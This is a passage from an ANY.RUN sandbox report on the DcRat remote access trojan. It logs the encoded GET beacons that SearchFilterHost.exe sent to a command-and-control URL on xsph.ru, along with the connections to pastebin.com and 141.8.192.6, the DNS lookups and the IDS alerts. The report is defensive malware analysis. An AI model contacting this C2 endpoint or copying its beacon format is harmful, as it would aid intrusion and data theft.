http://a0917852.xsph.ru/L1nc0In.php?9qYevmpgZouxy9rNFfyFTLKWeDPgjR=OJxz&6be9654e057e53ad44b92f1b1e180352=kVTYmFTN4EzMwQjZkN2MiNWNzIzYiV2Y4QDMxUjZ1UDZhVGMzQ2M4QjMzUzNxgTMzITN4QzM&37e1d955f258ef422616e4d7f6996550=gMwYmN4QTY0kTZ5ETM1QjYkZjZzMDNmVmNjFDOjRTZ1UWMzEjM5MmY&9833d94f21f6fee5636ec88fd3ca2a19=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
unknown
text
104 b
unknown
2104
SearchFilterHost.exe
GET
—
141.8.192.6:80
http://a0917852.xsph.ru/L1nc0In.php?9qYevmpgZouxy9rNFfyFTLKWeDPgjR=OJxz&6be9654e057e53ad44b92f1b1e180352=kVTYmFTN4EzMwQjZkN2MiNWNzIzYiV2Y4QDMxUjZ1UDZhVGMzQ2M4QjMzUzNxgTMzITN4QzM&37e1d955f258ef422616e4d7f6996550=gMwYmN4QTY0kTZ5ETM1QjYkZjZzMDNmVmNjFDOjRTZ1UWMzEjM5MmY&9833d94f21f6fee5636ec88fd3ca2a19=0VfiEFWrZ1RklnRHRmeClmYwR2VkNnQGlEdBNFVCJ0UOd3bq10dvRVT4F0QOlXQq1kdjRVT2lkeXJiOiEzN1IzN5IzNjRWZmJWM5IWYxIjMzQTY3kDMzYTM5ATNiwiI3gzM5UTM2QDZhhzNjZTN5EmY1MGNhhDMmhTO0IDZ5gTNlZWY4AzY1IiOiMjMjZDZmJmZ3ETMkFGMklDN5cTNxMTN0cTZ2I2MmNWYiwiI4EzY4QGOkdTNyUGN3QDNhVGMzATY0ImYiRjMyYTOiFjY2MmYhlTZ0IiOiQWY3EGMkVTNkFzNzUDNykTM1UWO2YmYyYDMxUjZ1EGMis3W
unknown
—
—
unknown
2104
SearchFilterHost.exe
GET
200
141.8.192.6:80
http://a0917852.xsph.ru/L1nc0In.php?9qYevmpgZouxy9rNFfyFTLKWeDPgjR=OJxz&6be9654e057e53ad44b92f1b1e180352=kVTYmFTN4EzMwQjZkN2MiNWNzIzYiV2Y4QDMxUjZ1UDZhVGMzQ2M4QjMzUzNxgTMzITN4QzM&37e1d955f258ef422616e4d7f6996550=gMwYmN4QTY0kTZ5ETM1QjYkZjZzMDNmVmNjFDOjRTZ1UWMzEjM5MmY&bbaf085ad9ea9a062f6fa1d50505645c=d1nIhRTYmhTZ5E2M3gDOjFmN0EmYmFjZ0IzYkFGNmRTN5gjY0ATM1IjY0IiOiMjMjZDZmJmZ3ETMkFGMklDN5cTNxMTN0cTZ2I2MmNWYiwiI4EzY4QGOkdTNyUGN3QDNhVGMzATY0ImYiRjMyYTOiFjY2MmYhlTZ0IiOiQWY3EGMkVTNkFzNzUDNykTM1UWO2YmYyYDMxUjZ1EGMis3W&82950ec304dfd0d8b1a927403a3b2069=QX9JiI6ISM3UjM3kjM3MGZlZmYxkjYhFjMyMDNhdTOwMjNxkDM1ICLiEGNhZGOllTYzcDO4MWY2QTYiZWMmRjMjRWY0YGN1kDOiRDMxUjMiRjI6IyMyMmNkZmYmdTMxQWYwQWO0kzN1EzM1QzNlZjYzY2YhJCLigTMjhDZ4Q2N1ITZ0cDN0EWZwMDMhRjYiJGNyIjN5IWMiZzYiFWOlRjI6ICZhdTYwQWN1QWM3MTN0ITOxUTZ5YjZiJjNwETNmVTYwIyes0nIRZWOKlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETphjaJZTSD1ENRdlTrJ1RNhXQq1UMnR1Ts50VZtGZqp1dVd0TsZ0VNhmT65keZR0TtpFROVTREp1MBRVTpdXaJdXSp9UaJdkTy0kMOhmSXpFbSdUTrZVbahmR6lFNRpmTtpFRPhmSXlVeJRkW1kkaNlmV65EaoRVTspUbJdDcqlEaShVWFJFSlxmSDxUMvpWSwY1MixWMXFWVChlWshnMVl2dplEbahVYw40VRl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSpNGbkdVW1Z0VUdGMXlVekJjY5JEbJZTS5RmdS1mYwRmRWRkRrl0cJlGVp9maJRnRykVaWJjV6xWbJNXSTdVavpWSsVjMi9mQzIWeOdVYO5EWhl2dplEcNRUSuVzVhdnQYpFMOZUSwUERJNnVHpldxUUSyE0UlNHbXJGaaVUSwkFRl9WQpVWSkVUTzQTaNdWQFlkVCFTUnFERNBTWUxUMrdUSwBTRW9WVtNmdOVUSwlkRLNnVHRWdstWS2k0UaRnRtRlVCFTUpdXaJBXRww0ToNUS5Z1RkdnRHplQCl3Yqx2RhdnRtNGSCNVUIplRJtmSYl1a1cVWw4EbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD10dJpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEzN1IzN5IzNjRWZmJWM5IWYxIjMzQTY3kDMzYTM5ATNiwiI4ADNzYTY3AjZjdjZkZmNyY2YwIjNiZGOyQDN2QDM0QDN2UWZ1YTY5IiOiMjMjZDZmJmZ3ETMkFGMklDN5cTNxMTN0cTZ2I2MmNWYiwiI4EzY4QGOkdTNyUGN3QDNhVGMzATY0ImYiRjMyYTOiFjY2MmYhlTZ0IiOiQWY3EGMkVTNkFzNzUDNykTM1UWO2YmYyYDMxUjZ1EGMis3W
unknown
text
104 b
unknown
2104
SearchFilterHost.exe
GET
200
141.8.192.6:80
http://a0917852.xsph.ru/L1nc0In.php?9qYevmpgZouxy9rNFfyFTLKWeDPgjR=OJxz&6be9654e057e53ad44b92f1b1e180352=kVTYmFTN4EzMwQjZkN2MiNWNzIzYiV2Y4QDMxUjZ1UDZhVGMzQ2M4QjMzUzNxgTMzITN4QzM&37e1d955f258ef422616e4d7f6996550=gMwYmN4QTY0kTZ5ETM1QjYkZjZzMDNmVmNjFDOjRTZ1UWMzEjM5MmY&bbaf085ad9ea9a062f6fa1d50505645c=d1nIhRTYmhTZ5E2M3gDOjFmN0EmYmFjZ0IzYkFGNmRTN5gjY0ATM1IjY0IiOiMjMjZDZmJmZ3ETMkFGMklDN5cTNxMTN0cTZ2I2MmNWYiwiI4EzY4QGOkdTNyUGN3QDNhVGMzATY0ImYiRjMyYTOiFjY2MmYhlTZ0IiOiQWY3EGMkVTNkFzNzUDNykTM1UWO2YmYyYDMxUjZ1EGMis3W&82950ec304dfd0d8b1a927403a3b2069=QX9JiI6ISM3UjM3kjM3MGZlZmYxkjYhFjMyMDNhdTOwMjNxkDM1ICLiEGNhZGOllTYzcDO4MWY2QTYiZWMmRjMjRWY0YGN1kDOiRDMxUjMiRjI6IyMyMmNkZmYmdTMxQWYwQWO0kzN1EzM1QzNlZjYzY2YhJCLigTMjhDZ4Q2N1ITZ0cDN0EWZwMDMhRjYiJGNyIjN5IWMiZzYiFWOlRjI6ICZhdTYwQWN1QWM3MTN0ITOxUTZ5YjZiJjNwETNmVTYwIyes0nIRZWOKlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETphjaJZTSD1ENRdlTrJ1RNhXQq1UMnR1Ts50VZtGZqp1dVd0TsZ0VNhmT65keZR0TtpFROVTREp1MBRVTpdXaJdXSp9UaJdkTy0kMOhmSXpFbSdUTrZVbahmR6lFNRpmTtpFRPhmSXlVeJRkW1kkaNlmV65EaoRVTspUbJdDcqlEaShVWFJFSlxmSDxUMvpWSwY1MixWMXFWVChlWshnMVl2dplEbahVYw40VRl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSpNGbkdVW1Z0VUdGMXlVekJjY5JEbJZTS5RmdS1mYwRmRWRkRrl0cJlGVp9maJRnRykVaWJjV6xWbJNXSTdVavpWSsVjMi9mQzIWeOdVYO5EWhl2dplEcNRUSuVzVhdnQYpFMOZUSwUERJNnVHpldxUUSyE0UlNHbXJGaaVUSwkFRl9WQpVWSkVUTzQTaNdWQFlkVCFTUnFERNBTWUxUMrdUSwBTRW9WVtNmdOVUSwlkRLNnVHRWdstWS2k0UaRnRtRlVCFTUpdXaJBXRww0ToNUS5Z1RkdnRHplQCl3Yqx2RhdnRtNGSCNVUIplRJtmSYl1a1cVWw4EbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD10dJpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEzN1IzN5IzNjRWZmJWM5IWYxIjMzQTY3kDMzYTM5ATNiwiI4ADNzYTY3AjZjdjZkZmNyY2YwIjNiZGOyQDN2QDM0QDN2UWZ1YTY5IiOiMjMjZDZmJmZ3ETMkFGMklDN5cTNxMTN0cTZ2I2MmNWYiwiI4EzY4QGOkdTNyUGN3QDNhVGMzATY0ImYiRjMyYTOiFjY2MmYhlTZ0IiOiQWY3EGMkVTNkFzNzUDNykTM1UWO2YmYyYDMxUjZ1EGMis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2104
SearchFilterHost.exe
104.20.68.143:443
pastebin.com
CLOUDFLARENET
—
unknown
2104
SearchFilterHost.exe
141.8.192.6:80
a0917852.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.68.143
  • 172.67.34.170
  • 104.20.67.143
shared
a0917852.xsph.ru
  • 141.8.192.6
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
2104
SearchFilterHost.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
DcRat.exe